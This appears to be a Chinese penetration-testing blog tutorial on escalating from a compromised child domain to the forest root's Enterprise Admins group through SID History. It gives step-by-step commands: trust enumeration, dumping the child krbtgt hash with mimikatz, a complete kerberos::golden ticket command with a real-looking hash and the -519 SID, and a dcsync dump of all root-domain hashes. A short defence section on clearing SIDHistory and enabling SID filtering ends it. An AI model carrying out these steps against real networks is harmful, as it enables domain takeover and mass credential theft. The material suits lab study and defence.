渗透测试之子域到父域的横向移动(Sid History)

渗透测试之子域到父域的横向移动(Sid History)

前言

本文接上篇文章探究子域如何横向移动到父域的Enterprise Admin组,并给出防御方法。

Enterprise Admins组

在父子域中,最重要的莫过于Enterprise Admins组了,并且该组只存在于林根域中,其成员有权管理林内的所有域,这是因为在添加子域后,Enterprise Admins组会自动添加到林中每个域中的Administrators组成员中。但是该组在其他域树中是不存在的,所以在子域中是看不到有Enterprise Admins组。本文也是基于Enterprise Admins组来提权。

跨域访问流程

用户在登录某台客户机的时候,系统必须验证用户的身份,除了账号密码之外,还会为用户建立一个access
token(访问令牌),其中包含用户账户的SID、用户所隶属的所有组的SID等数据。当用户取得access
token后,如果他要访问计算机内的资源时,便会出示access token,而系统会根据access
token内的SID数据来决定用户拥有何种权限。 同理当用户连接网络上其他计算机时,这台计算机也会为该用户建立一个access
token,当用户需要访问资源的时候,便会出示access token,这台计算机便会根据出示的access
token的SID数据,来决定用户拥有何种的访问权限

SID History

根据微软的解释,SID History 是一个支持迁移方案的属性,每个用户帐户都有一个关联的安全标识符
(SID),用于跟踪安全主体和帐户在连接到资源时的访问权限。SID
历史记录允许将另一个帐户的访问有效地克隆到另一个帐户,并且对于确保用户在从一个域移动(迁移)到另一个域时保留访问权限非常有用。
而一个账户可以在SID-History Active Directory 属性中保存额外的 SID
,从而允许域之间进行可相互操作的帐户迁移(例如,SID-History 中的所有值都包含在访问令牌中)。 为了达到SID
History攻击的目的,我们的将使用域管理员权限,将获取到的有权限的SID值插入到SID历史记录中,以实现模拟任意用户/组(例如Enterprise
Admins)的权限,达到跨域提权目的。

枚举域信任

1、用全局编录的方式进行域信任查看
Get-DomainTrust -SearchBase “GC:// ( ( (ENV:USERDNSDOMAIN)”

渗透测试之子域到父域的横向移动(Sid History)
2、使用powershell展现一个域信任关系
Get-ADTrust -Filter *

渗透测试之子域到父域的横向移动(Sid History)
3、使用windows自带命令查看
nltest /domain_trusts

渗透测试之子域到父域的横向移动(Sid History)
从上面的命令可以看出来,父域和子域是存在双向的信任关系

环境准备

本地环境使用到的是windows server2016
主域:dpl.com
子域:ziyu.dpl.com
假设已经拿到子域域控的权限,接下来我要拿根域的权限

从子域到父域的EA组提权利用(Sid History)

Sid History攻击需要:
1、域名称(GET-ADDomain)
2、域的SID值(GET-ADDomainSID)
3、域的KRBTGT账户的hash(mimitakz)
4、伪造用户名(administrator)
5、根域EA组的ObjectID(Convert-NameToSid)
一、利用powerview+mimikatz完成攻击利用
Ⅰ、使用Sid History完成对父域的提权

①获取子域名称
Get-Domain或ipconfig /all
渗透测试之子域到父域的横向移动(Sid History)
②获取子域的SID值
Get-DomainSID
渗透测试之子域到父域的横向移动(Sid History)
③获取子域KRBTGT的hash
sekurlsa::krbtgt
渗透测试之子域到父域的横向移动(Sid History)
④获取根域EA组的ObjectID
Convert-NameToSid dpl\krbtgt
渗透测试之子域到父域的横向移动(Sid History)
Ⅱ、SID介绍

SID用于唯一标识安全主体或安全组,以S-1-5-21-1315137663-3706837544-1429009142-502为例
表示字符串为SID(S)
修订级别(1)
标识符颁发机构 (5,NT Authority)
域标识符(21-1315137663-3706837544-1429009142)
相对标识符RID(krbtgt 502)
常见的SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)

而完成Sid History攻击需要修改其RID,获取到krbtgt的SID后,将502修改为519,也就是Enterprise Admins组
格式:mimikatz kerberos::golden /user:administrator /domain: /sid: /krbtgt:<KRBTGT_HASH> /sids:-519 /ptt
/user – 需要模拟的用户名,本例中为administrator
/domain – 完全限定域名(FQDN)
/sid – 域的 SID
/krbtgt – krbtgt的ntlm密码hash
/sids – AD 林中帐户/组的 SID,能获取高权限的ticket,本例中为Enterprise Admins组
/ptt – 将伪造的票据注入内存以供使用

Ⅲ、使用mimikatz完成攻击

访问根域是拒绝

渗透测试之子域到父域的横向移动(Sid History)
命令:mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt
渗透测试之子域到父域的横向移动(Sid History)
用主机名访问,不然会出错,访问父域成功
渗透测试之子域到父域的横向移动(Sid History)
使用mimikatz导出根域的hash
lsadump::dcsync /domain:dpl.com /all /csv
渗透测试之子域到父域的横向移动(Sid History)

防御方法

1、合法帐户迁移完成后清除 SID-History 属性
a.标识帐户的 SIDHistory 属性中的 SID。
Get-ADUser -Identity -Properties SidHistory | Select-Object -ExpandProperty SIDHistory
b.使用前面标识的 SID 删除 SIDHistory 属性
Set-ADUser -Identity -Remove @{SIDHistory=‘S-1-5-21-…’}
2、使用 netdom 工具(在域控制器上)在林信任上禁用 SIDHistory
netdom trust /domain: /EnableSIDHistory:no
3、使用 netdom 工具(在域控制器上)将 SID 过滤器隔离应用于外部信任
netdom trust /domain: /quarantine:yes

看得懂吗,看不懂点
渗透测试之子域到父域的横向移动(Sid History)

上一篇:Python抓取海量面经,直面秋招


下一篇:物联网设备的软件加密及授权分发:Virbox Smart License